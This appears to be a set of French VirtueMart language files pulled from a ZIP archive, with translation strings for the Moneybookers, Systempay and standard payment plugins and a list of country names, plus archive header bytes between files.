VMPAYMENT_MONEYBOOKERS_PAYMENT_AMOUNT_INCORRECT="Montant de paiement incorrect pour la méthode de paiement Moneybookers" VMPAYMENT_MONEYBOOKERS_MERCHANT_EMAIL_NOT_SET="Email du marchand non pas réglé pour la méthode de paiement Moneybookers" VMPAYMENT_MONEYBOOKERS_PAYMENT_CANCELLED="Le paiement via Moneybookers a été annulé. Raison: " VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUS_CONFIRMED="Le paiement via Moneybookers pour la commande %s a été fait avec succès" VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUS_PENDING="Le paiement via Moneybookers pour la commande %s est en attente. Raison: " ; étiquètes des messages de statut VMPAYMENT_MONEYBOOKERS_PAYMENT_NAME="Nom du paiement " VMPAYMENT_MB_PAY_TO_EMAIL="Email du marchand" VMPAYMENT_MB_PAY_FROM_EMAIL="Email du client" VMPAYMENT_MB_MERCHANT_ID=" ID du marchand" VMPAYMENT_MB_TRANSACTION_ID="ID de la transaction" VMPAYMENT_MB_REC_PAYMENT_ID="ID du paiement récurent" VMPAYMENT_MB_REC_PAYMENT_TYPE="Type de paiement récurrent" VMPAYMENT_MB_AMOUNT="Montant" VMPAYMENT_MB_CURRENCY="Devise" VMPAYMENT_MB_STATUS="Statut" VMPAYMENT_MB_MD5SIG="MD5 Signature" VMPAYMENT_MB_SHA2SIG="SHA2 Signature" PK@y>\$))4language/fr-FR/fr-FR.plg_vmpayment_systempay.sys.ininuW+AVMPAYMENT_SYSTEMPAY="Vmpayment SystemPay"PK@y>\]??.language/fr-FR/fr-FR.plg_search_virtuemart.ininuW+A; VirtueMart Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_VIRTUEMART="Recherche - VirtueMart" PLG_SEARCH_VIRTUEMART_PRODUCTS="Produits"PK@y>\ %%0language/fr-FR/fr-FR.plg_vmpayment_systempay.ininuW+A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Module pour la plateforme de paiement Systempay ; Version : 1.2 (révision 33398) ; ;;;;;;;;;;;;;;;;;;;;;;;; ; Développé pour VirtueMart ; Version : 2.0.0 ; Compatibilité plateforme : V2 ; ;;;;;;;;;;;;;;;;;;;;;;;; ; Développé par Lyra Network ; http://www.lyra-network.com/ ; 20/02/2012 ; Contact : supportvad@lyra-network.com ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Admin interface : module configuration VMPAYMENT_SYSTEMPAY_PAYMENT_MODULE_SETTINGS="PARAMÈTRES DU MODULE" VMPAYMENT_SYSTEMPAY_LOGOS="Logos" VMPAYMENT_SYSTEMPAY_LOGOS_DESC="Logos à afficher pour ce mode paiement" VMPAYMENT_SYSTEMPAY_COST_PER_TRANSACTION="Frais par transaction" VMPAYMENT_SYSTEMPAY_COST_PER_TRANSACTION_DESC="Frais forfaitaires à appliquer à chaque transaction" VMPAYMENT_SYSTEMPAY_COST_PERCENT_TOTAL="Pourcentage sur le total" VMPAYMENT_SYSTEMPAY_COST_PERCENT_TOTAL_DESC="Pourcentage à appliquer sur le montant total de la transaction" VMPAYMENT_SYSTEMPAY_TAX="Taxes" VMPAYMENT_SYSTEMPAY_TAX_DESC="Taxe à appliquer aux frais" ; Admin interface : module informations VMPAYMENT_SYSTEMPAY_MODULE_INFORMATION_TITLE="PAIEMENT SYSTEMPAY" VMPAYMENT_SYSTEMPAY_MODULE_INFORMATION="INFORMATIONS SUR LE MODULE" VMPAYMENT_SYSTEMPAY_DEVELOPED_BY="Développé par" VMPAYMENT_SYSTEMPAY_CONTACT_EMAIL="Courriel de contact" VMPAYMENT_SYSTEMPAY_CONTRIB_VERSION="Version du module" VMPAYMENT_SYSTEMPAY_GATEWAY_VERSION="Version de la plateforme" VMPAYMENT_SYSTEMPAY_CMS_VERSION="Testé avec" VMPAYMENT_SYSTEMPAY_DOC="Lire le manuel de paramétrage du module" ; Admin interface : platform access parameters VMPAYMENT_SYSTEMPAY_PAYMENT_GATEWAY_ACCESS="ACCÈS À LA PLATEFORME" VMPAYMENT_SYSTEMPAY_SITE_ID="Identifiant du site" VMPAYMENT_SYSTEMPAY_SITE_ID_DESC="Identifiant fourni par Systempay" VMPAYMENT_SYSTEMPAY_TEST_KEY="Certificat en mode test" VMPAYMENT_SYSTEMPAY_TEST_KEY_DESC="Certificat fourni par Systempay (disponible sur l'outil de gestion de caisse)" VMPAYMENT_SYSTEMPAY_PROD_KEY="Certificat en mode production" VMPAYMENT_SYSTEMPAY_PROD_KEY_DESC="Certificat fourni par Systempay (disponible sur l'outil de gestion de caisse après passage en production)" VMPAYMENT_SYSTEMPAY_CTX_MODE="Mode" VMPAYMENT_SYSTEMPAY_CTX_MODE_DESC="Mode de fonctionnement du module" VMPAYMENT_SYSTEMPAY_PLATFORM_URL="Url de la plateforme" VMPAYMENT_SYSTEMPAY_PLATFORM_URL_DESC="Url vers laquelle le client sera redirigé pour le paiement" ; Admin interface : payment page parameters VMPAYMENT_SYSTEMPAY_PAYMENT_PAGE="PAGE DE PAIEMENT" VMPAYMENT_SYSTEMPAY_LANGUAGE="Langue par défaut" VMPAYMENT_SYSTEMPAY_LANGUAGE_DESC="Sélectionner la langue par défaut à utiliser sur la page de paiement" VMPAYMENT_SYSTEMPAY_AVAILABLES_LANGUAGES="Langues disponibles" VMPAYMENT_SYSTEMPAY_AVAILABLES_LANGUAGES_DESC="Sélectionner TOUTES pour utiliser la configuration de la plateforme" VMPAYMENT_SYSTEMPAY_CAPTURE_DELAY="Délai avant remise en banque" VMPAYMENT_SYSTEMPAY_CAPTURE_DELAY_DESC="Le nombre de jours avant la remise en banque (paramétrable sur votre back office Systempay)" VMPAYMENT_SYSTEMPAY_VALIDATION_MODE="Mode de validation" VMPAYMENT_SYSTEMPAY_VALIDATION_MODE_DESC="En mode manuel, vous devrez confirmer les paiements dans l'outil de gestion de caisse" VMPAYMENT_SYSTEMPAY_PAYMENT_CARDS="Types de carte" VMPAYMENT_SYSTEMPAY_PAYMENT_CARDS_DESC="Sélectionner TOUTES pour utiliser la configuration de la plateforme" ; Admin interface : amount restrictions parameters VMPAYMENT_SYSTEMPAY_AMOUNT_RESTRICTIONS="RESTRICTIONS SUR LE MONTANT" VMPAYMENT_SYSTEMPAY_AMOUNT_MIN="Montant minimum" VMPAYMENT_SYSTEMPAY_AMOUNT_MIN_DESC="Montant minimum pour lequel cette methode de paiement est disponible" VMPAYMENT_SYSTEMPAY_AMOUNT_MAX="Montant maximum" VMPAYMENT_SYSTEMPAY_AMOUNT_MAX_DESC="Montant maximum pour lequel cette methode de paiement est disponible" ; Admin interface : return to store parameters VMPAYMENT_SYSTEMPAY_RETURN_OPTIONS="RETOUR À LA BOUTIQUE" VMPAYMENT_SYSTEMPAY_REDIRECT_ENABLED="Redirection automatique" VMPAYMENT_SYSTEMPAY_REDIRECT_ENABLED_DESC="Si activée, le client sera redirigé automatiquement vers votre site à la fin du processus de paiement" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_TIMEOUT="Temps avant redirection (succès)" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_TIMEOUT_DESC="Temps en secondes (0-300) avant que le client ne soit redirigé automatiquement vers votre site lorsque le paiement a réussi" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_MESSAGE="Message avant redirection (succès)" VMPAYMENT_SYSTEMPAY_REDIRECT_SUCCESS_MESSAGE_DESC="Message affiché sur la plateforme de paiement avant redirection lorsque le paiement a réussi" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_TIMEOUT="Temps avant redirection (échec)" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_TIMEOUT_DESC="Temps en secondes (0-300) avant que le client ne soit redirigé automatiquement vers votre site lorsque le paiement a échoué" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_MESSAGE="Message avant redirection (échec)" VMPAYMENT_SYSTEMPAY_REDIRECT_ERROR_MESSAGE_DESC="Message affiché sur la plateforme de paiement avant redirection, lorsque le paiement a échoué" VMPAYMENT_SYSTEMPAY_RETURN_MODE="Mode de retour" VMPAYMENT_SYSTEMPAY_RETURN_MODE_DESC="Façon dont le client transmettra le résultat du paiement lors de son retour sur la boutique" VMPAYMENT_SYSTEMPAY_URL_SUCCESS="URL de retour en cas de succès" VMPAYMENT_SYSTEMPAY_URL_SUCCESS_DESC="URL où sera redirigé le client après avoir cliqué sur 'retour à la boutique' lorsque le paiement a réussi" VMPAYMENT_SYSTEMPAY_URL_ERROR="URL de retour en cas d'erreur" VMPAYMENT_SYSTEMPAY_URL_ERROR_DESC="URL où sera redirigé le client après avoir cliqué sur 'retour à la boutique' lorsque le paiement a échoué" VMPAYMENT_SYSTEMPAY_URL_CANCEL="URL de retour en cas d'annulation" VMPAYMENT_SYSTEMPAY_URL_CANCEL_DESC="URL où sera redirigé le client en cas d'annualtion du paiement" VMPAYMENT_SYSTEMPAY_URL_CHECK="URL serveur à serveur à renseigner sur le back office Systempay de votre boutique" VMPAYMENT_SYSTEMPAY_ORDER_SUCCESS_STATUS="Statut des commandes (paiement accepté)" VMPAYMENT_SYSTEMPAY_ORDER_SUCCESS_STATUS_DESC="Définir le statut des commandes payées par ce mode de paiement lorsque le paiement a réussi" VMPAYMENT_SYSTEMPAY_ORDER_FAILURE_STATUS="Statut des commandes (paiement échoué)" VMPAYMENT_SYSTEMPAY_ORDER_FAILURE_STATUS_DESC="Définir le statut des commandes payées par ce mode de paiement lorsque le paiement a échoué" ; Admin interface : constants VMPAYMENT_SYSTEMPAY_TEST="Test" VMPAYMENT_SYSTEMPAY_PRODUCTION="Production" VMPAYMENT_SYSTEMPAY_ALL="TOUTES" VMPAYMENT_SYSTEMPAY_FRENCH="Français" VMPAYMENT_SYSTEMPAY_GERMAN="Allemand" VMPAYMENT_SYSTEMPAY_ENGLISH="Anglais" VMPAYMENT_SYSTEMPAY_SPANISH="Espagnol" VMPAYMENT_SYSTEMPAY_CHINESE="Chinois" VMPAYMENT_SYSTEMPAY_ITALIAN="Italien" VMPAYMENT_SYSTEMPAY_JAPANESE="Japonais" VMPAYMENT_SYSTEMPAY_PORTUGUESE="Portugais" VMPAYMENT_SYSTEMPAY_DUTCH="Néerlandais" VMPAYMENT_SYSTEMPAY_BY_DEFAULT="Par défaut" VMPAYMENT_SYSTEMPAY_AUTOMATIC="Automatique" VMPAYMENT_SYSTEMPAY_MANUAL="Manuel" VMPAYMENT_SYSTEMPAY_YES="Oui" VMPAYMENT_SYSTEMPAY_NO="Non" ; Site messages VMPAYMENT_SYSTEMPAY_CURRENCY_NOT_SUPPORTED="Ce mode de paiement est indisponible pour la devise actuelle." VMPAYMENT_SYSTEMPAY_CHECK_URL_WARN="La validation automatique n'a pas fonctionné. Avez-vous configuré correctement l'URL serveur dans l'outil de gestion de caisse Systempay ?" VMPAYMENT_SYSTEMPAY_CHECK_URL_WARN_ALATAK="ATTENTION MODE TEST: Vous utilisez les paramètres par défaut du module de paiement Systempay configuré sur le compte d'alatak.net(communauté VIRTUEMART). Merci de configurer le module de paiement avec votre propre identifiant disponible dans le BACK OFFICE Systempay. Pour plus d'information consulter la documentation disponible depuis l'onglet configuration du module de paiement Systempay." VMPAYMENT_SYSTEMPAY_BTN_ALT="Cliquez pour payer avec la plate-forme de paiement sécurisé Systempay." VMPAYMENT_SYSTEMPAY_PLEASE_WAIT="Veuillez patienter pendant que vous êtes redirigé vers Systempay." VMPAYMENT_SYSTEMPAY_CLICK_BUTTON_IF_NOT_REDIRECTED="Si vous n'êtes pas redirigé après 10 secondes, veuillez cliquer sur le bouton ci-dessous." VMPAYMENT_SYSTEMPAY_FAILURE_MSG="Le paiement n'a pas été accepté, votre commande n'a pas été enregistrée." VMPAYMENT_SYSTEMPAY_SUCCESS_MSG="Le paiement s'est effectué avec succès, votre commande a bien été enregistrée." VMPAYMENT_SYSTEMPAY_ERROR_MSG="Une erreur est survenue dans le processus de paiement, votre commande n'a pas été enregistrée." VMPAYMENT_SYSTEMPAY_ORDER_NUMBER="Commande N°: " VMPAYMENT_SYSTEMPAY_AMOUNT="Montant: " VMPAYMENT_SYSTEMPAY_RESULT="Résultat: " VMPAYMENT_SYSTEMPAY_TRANS_ID="ID transaction: " VMPAYMENT_SYSTEMPAY_CC_NUMBER="Numéro de carte: " VMPAYMENT_SYSTEMPAY_CC_EXPIRY="Date d'expiration: " VMPAYMENT_SYSTEMPAY_CC_TYPE="Moyen de paiement: " VMPAYMENT_SYSTEMPAY_NOTIFICATION_RECEVEIVED="Notification reçu" VMPAYMENT_SYSTEMPAY_PAYMENT_NAME="Nom du paiement" ; debug VMPAYMENT_SYSTEMPAY_DEBUG="Activer la fonction Debug"PK@y>\_E(E(1language/fr-FR/fr-FR.com_virtuemart_countries.ininuW+ACOM_VIRTUEMART_COUNTRY_ALA="Åland" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albanie" COM_VIRTUEMART_COUNTRY_DZA="Algérie" COM_VIRTUEMART_COUNTRY_ASM="Samoa américaines" COM_VIRTUEMART_COUNTRY_AND="Andorre" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarctique" COM_VIRTUEMART_COUNTRY_ATG="Antigua-et-Barbuda" COM_VIRTUEMART_COUNTRY_ARG="Argentine" COM_VIRTUEMART_COUNTRY_ARM="Arménie" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AUS="Australie" COM_VIRTUEMART_COUNTRY_AUT="Autriche" COM_VIRTUEMART_COUNTRY_AZE="Azerbaïdjan" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahreïn" COM_VIRTUEMART_COUNTRY_BGD="Bangladesh" COM_VIRTUEMART_COUNTRY_BRB="Barbade" COM_VIRTUEMART_COUNTRY_BLR="Biélorussie" COM_VIRTUEMART_COUNTRY_BEL="Belgique" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Bénin" COM_VIRTUEMART_COUNTRY_BMU="Bermudes" COM_VIRTUEMART_COUNTRY_BTN="Bhoutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivie" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Saint-Eustache et Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnie-Herzégovine" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Ile Bouvet" COM_VIRTUEMART_COUNTRY_BRA="Brésil" COM_VIRTUEMART_COUNTRY_IOT="Territoire britannique de l'océan Indien" COM_VIRTUEMART_COUNTRY_BRN="Brunei" COM_VIRTUEMART_COUNTRY_BGR="Bulgarie" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_KHM="Cambodge" COM_VIRTUEMART_COUNTRY_CMR="Cameroun" COM_VIRTUEMART_COUNTRY_CAN="Canada" COM_VIRTUEMART_COUNTRY_CPV="Cap-Vert" COM_VIRTUEMART_COUNTRY_CYM="Iles Caïmans" COM_VIRTUEMART_COUNTRY_CAF="République centrafricaine" COM_VIRTUEMART_COUNTRY_TCD="Tchad" COM_VIRTUEMART_COUNTRY_CHL="Chili" COM_VIRTUEMART_COUNTRY_CHN="Chine" COM_VIRTUEMART_COUNTRY_CXR="Ile Christmas" COM_VIRTUEMART_COUNTRY_CCK="Iles Cocos" COM_VIRTUEMART_COUNTRY_COL="Colombie" COM_VIRTUEMART_COUNTRY_COM="Comores (pays)" COM_VIRTUEMART_COUNTRY_COG="République du Congo" COM_VIRTUEMART_COUNTRY_COD="République démocratique du Congo" COM_VIRTUEMART_COUNTRY_COK="Iles Cook" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica " COM_VIRTUEMART_COUNTRY_CIV="Côte d'Ivoire" COM_VIRTUEMART_COUNTRY_HRV="Croatie" COM_VIRTUEMART_COUNTRY_CUB="Cuba" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_CYP="Chypre (pays) " COM_VIRTUEMART_COUNTRY_CZE="République tchèque" COM_VIRTUEMART_COUNTRY_DNK="Danemark" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DJI="Djibouti" COM_VIRTUEMART_COUNTRY_DMA="Dominique" COM_VIRTUEMART_COUNTRY_DOM="République dominicaine" COM_VIRTUEMART_COUNTRY_ECU="Equateur (pays)" COM_VIRTUEMART_COUNTRY_EGY="Egypte" COM_VIRTUEMART_COUNTRY_SLV="Salvador" COM_VIRTUEMART_COUNTRY_GNQ="Guinée équatoriale" COM_VIRTUEMART_COUNTRY_ERI="Erythrée" COM_VIRTUEMART_COUNTRY_EST="Estonie" COM_VIRTUEMART_COUNTRY_ETH="Ethiopie" COM_VIRTUEMART_COUNTRY_FLK="Iles Malouines" COM_VIRTUEMART_COUNTRY_FRO="Iles Féroé" COM_VIRTUEMART_COUNTRY_FJI="Fidji" COM_VIRTUEMART_COUNTRY_FIN="Finlande" COM_VIRTUEMART_COUNTRY_FRA="France" COM_VIRTUEMART_COUNTRY_GUF="Guyane Française" COM_VIRTUEMART_COUNTRY_PYF="Polynésie française" COM_VIRTUEMART_COUNTRY_ATF="Terres australes et antarctiques françaises" COM_VIRTUEMART_COUNTRY_GAB="Gabon" COM_VIRTUEMART_COUNTRY_GMB="Gambie" COM_VIRTUEMART_COUNTRY_GEO="Géorgie" COM_VIRTUEMART_COUNTRY_DEU="Allemagne" COM_VIRTUEMART_COUNTRY_GHA="Ghana" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRC="Grèce" COM_VIRTUEMART_COUNTRY_GRL="Groenland" COM_VIRTUEMART_COUNTRY_GRD="Grenade" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernesey" COM_VIRTUEMART_COUNTRY_GIN="Guinée" COM_VIRTUEMART_COUNTRY_GNB="Guinée-Bissau" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haïti" COM_VIRTUEMART_COUNTRY_HMD="Iles Heard-et-MacDonald " COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hong Kong " COM_VIRTUEMART_COUNTRY_HUN="Hongrie" COM_VIRTUEMART_COUNTRY_ISL="Islande" COM_VIRTUEMART_COUNTRY_IND="Inde" COM_VIRTUEMART_COUNTRY_IDN="Indonésie" COM_VIRTUEMART_COUNTRY_IRN="Iran" COM_VIRTUEMART_COUNTRY_IRQ="Irak" COM_VIRTUEMART_COUNTRY_IRL="Irlande" COM_VIRTUEMART_COUNTRY_IMN="Ile de Man" COM_VIRTUEMART_COUNTRY_ISR="Israël" COM_VIRTUEMART_COUNTRY_ITA="Italie" COM_VIRTUEMART_COUNTRY_JAM="Jamaïque" COM_VIRTUEMART_COUNTRY_JPN="Japon" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordanie" COM_VIRTUEMART_COUNTRY_KAZ="Kazakhstan" COM_VIRTUEMART_COUNTRY_KEN="Kenya" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_PRK="Corée du Nord" COM_VIRTUEMART_COUNTRY_KOR="Corée du Sud" COM_VIRTUEMART_COUNTRY_KWT="Koweït" COM_VIRTUEMART_COUNTRY_KGZ="Kirghizistan" COM_VIRTUEMART_COUNTRY_LAO="Laos" COM_VIRTUEMART_COUNTRY_LVA="Lettonie" COM_VIRTUEMART_COUNTRY_LBN="Liban" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LBR="Liberia" COM_VIRTUEMART_COUNTRY_LBY="Libye" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein" COM_VIRTUEMART_COUNTRY_LTU="Lituanie" COM_VIRTUEMART_COUNTRY_LUX="Luxembourg" COM_VIRTUEMART_COUNTRY_MAC="Macao" COM_VIRTUEMART_COUNTRY_MKD="Macédoine" COM_VIRTUEMART_COUNTRY_MDG="Madagascar" COM_VIRTUEMART_COUNTRY_MWI="Malawi" COM_VIRTUEMART_COUNTRY_MYS="Malaisie" COM_VIRTUEMART_COUNTRY_MDV="Maldives" COM_VIRTUEMART_COUNTRY_MLI="Mali" COM_VIRTUEMART_COUNTRY_MLT="Malte" COM_VIRTUEMART_COUNTRY_MHL="Marshall" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauritanie" COM_VIRTUEMART_COUNTRY_MUS="Maurice" COM_VIRTUEMART_COUNTRY_MYT="MayotteMayotte" COM_VIRTUEMART_COUNTRY_MEX="Mexique" COM_VIRTUEMART_COUNTRY_FSM="Micronésie (pays)" COM_VIRTUEMART_COUNTRY_MDA="Moldavie" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolie" COM_VIRTUEMART_COUNTRY_MNE="Monténégro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MAR="Maroc" COM_VIRTUEMART_COUNTRY_MOZ="Mozambique" COM_VIRTUEMART_COUNTRY_MMR="Birmanie" COM_VIRTUEMART_COUNTRY_NAM="Namibie" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Népal" COM_VIRTUEMART_COUNTRY_NLD="Pays-Bas" COM_VIRTUEMART_COUNTRY_NCL="Nouvelle-Calédonie" COM_VIRTUEMART_COUNTRY_NZL="Nouvelle-Zélande" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_NFK="Ile Norfolk" COM_VIRTUEMART_COUNTRY_MNP="Iles Mariannes du Nord" COM_VIRTUEMART_COUNTRY_NOR="Norvège" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PLW="Palaos" COM_VIRTUEMART_COUNTRY_PSE="Palestine" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papouasie-Nouvelle-Guinée" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Pérou" COM_VIRTUEMART_COUNTRY_PHL="Philippines" COM_VIRTUEMART_COUNTRY_PCN="Iles Pitcairn " COM_VIRTUEMART_COUNTRY_POL="Pologne" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Porto Rico" COM_VIRTUEMART_COUNTRY_QAT="Qatar" COM_VIRTUEMART_COUNTRY_REU="La Réunion" COM_VIRTUEMART_COUNTRY_ROU="Roumanie" COM_VIRTUEMART_COUNTRY_RUS="Russie" COM_VIRTUEMART_COUNTRY_RWA="Rwanda" COM_VIRTUEMART_COUNTRY_BLM="Saint-Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="Sainte-Hélène, Ascension et Tristan da Cunha" COM_VIRTUEMART_COUNTRY_KNA="Saint-Christophe-et-Niévès" COM_VIRTUEMART_COUNTRY_LCA="Sainte-Lucie" COM_VIRTUEMART_COUNTRY_MAF="Saint-Martin (Antilles françaises)" COM_VIRTUEMART_COUNTRY_SPM="Saint-Pierre-et-Miquelon" COM_VIRTUEMART_COUNTRY_VCT="Saint-Vincent-et-les-Grenadines" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="Saint-MarinSan Marino " COM_VIRTUEMART_COUNTRY_STP="Sao Tomé-et-PrincipeR" COM_VIRTUEMART_COUNTRY_SAU="Arabie saoudite " COM_VIRTUEMART_COUNTRY_SEN="Sénégal" COM_VIRTUEMART_COUNTRY_SRB="Serbie" COM_VIRTUEMART_COUNTRY_SYC="Seychelles0" COM_VIRTUEMART_COUNTRY_SLE="Sierra LeoneSierra Leone" COM_VIRTUEMART_COUNTRY_SGP="SingapourRepublic of Singapore" COM_VIRTUEMART_COUNTRY_SXM="Saint-Martin" COM_VIRTUEMART_COUNTRY_SVK="Slovaquie" COM_VIRTUEMART_COUNTRY_SVN="Slovénie" COM_VIRTUEMART_COUNTRY_SLB="Salomon" COM_VIRTUEMART_COUNTRY_SOM="Somalie" COM_VIRTUEMART_COUNTRY_ZAF="Afrique du Sud" COM_VIRTUEMART_COUNTRY_SGS="Géorgie du Sud et les Iles Sandwich du Sud" COM_VIRTUEMART_COUNTRY_SSD="Soudan du Sud" COM_VIRTUEMART_COUNTRY_ESP="Espagne" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_SDN="Soudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard et île Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swaziland" COM_VIRTUEMART_COUNTRY_SWE="Suède" COM_VIRTUEMART_COUNTRY_CHE="Suisse" COM_VIRTUEMART_COUNTRY_SYR="Syrie" COM_VIRTUEMART_COUNTRY_TWN="Taïwan" COM_VIRTUEMART_COUNTRY_TJK="Tadjikistan" COM_VIRTUEMART_COUNTRY_TZA="Tanzanie" COM_VIRTUEMART_COUNTRY_THA="Thaïlande" COM_VIRTUEMART_COUNTRY_TLS="Timor oriental" COM_VIRTUEMART_COUNTRY_TGO="Togo" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinité-et-Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TUN="Tunisie" COM_VIRTUEMART_COUNTRY_TUR="Turquie" COM_VIRTUEMART_COUNTRY_TKM="Turkménistan" COM_VIRTUEMART_COUNTRY_TCA="Iles Turques et Caïques" COM_VIRTUEMART_COUNTRY_TUV="TuvaluTuvalu" COM_VIRTUEMART_COUNTRY_UGA="Ouganda" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_ARE="Emirats arabes unis" COM_VIRTUEMART_COUNTRY_GBR="Royaume-Uni" COM_VIRTUEMART_COUNTRY_USA="Etats-Unis" COM_VIRTUEMART_COUNTRY_UMI="Iles mineures éloignées" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Ouzbékistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Saint-Siège" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_VNM="Viêt Nam" COM_VIRTUEMART_COUNTRY_VGB="Iles Vierges britanniques" COM_VIRTUEMART_COUNTRY_VIR="Iles Vierges des États-Unis" COM_VIRTUEMART_COUNTRY_WLF="Wallis et Futuna" COM_VIRTUEMART_COUNTRY_ESH="Sahara occidental" COM_VIRTUEMART_COUNTRY_YEM="Yémen" COM_VIRTUEMART_COUNTRY_ZMB="Zambie" COM_VIRTUEMART_COUNTRY_ZWE="Zimbabwe" PK@y>\553language/fr-FR/fr-FR.plg_vmpayment_standard.sys.ininuW+AVMPAYMENT_STANDARD="Vm plugin de paiement standard" PK@y>\ ?/language/fr-FR/fr-FR.plg_vmpayment_standard.ininuW+AVMPAYMENT_STANDARD="Vm plugin de paiement standard" VMPAYMENT_STANDARD_PAYMENT_INFO="Méthode de paiement" VMPAYMENT_STANDARD_AMOUNT="Total" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL="Pourcentage du total" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL_EXPLAIN="Pourcentage à appliquer au montant total de la commande" VMPAYMENT_STANDARD_COST_PER_TRANSACTION="Frais par transaction" VMPAYMENT_STANDARD_COST_PER_TRANSACTION_EXPLAIN="Frais forfaitaires à appliquer à chaque transaction" VMPAYMENT_STANDARD_COUNTRIES="Pays" VMPAYMENT_STANDARD_COUNTRIES_DESC="Veuillez sélectionner les pays où s'applique cette méthode de règlement" VMPAYMENT_STANDARD_CURRENCY="Devise acceptée" VMPAYMENT_STANDARD_CURRENCY_DESC="Devise acceptée pour ce paiement" VMPAYMENT_STANDARD_INFO="Informations" VMPAYMENT_STANDARD_LOGOS="Logos" VMPAYMENT_STANDARD_LOGOS_DESC="Logos à afficher pour ce paiement" VMPAYMENT_STANDARD_MAX_AMOUNT="Montant maximal" VMPAYMENT_STANDARD_MAX_AMOUNT_EXPLAIN="Montant de la commande maximum pour proposer ce paiement" VMPAYMENT_STANDARD_MIN_AMOUNT="Montant minimum" 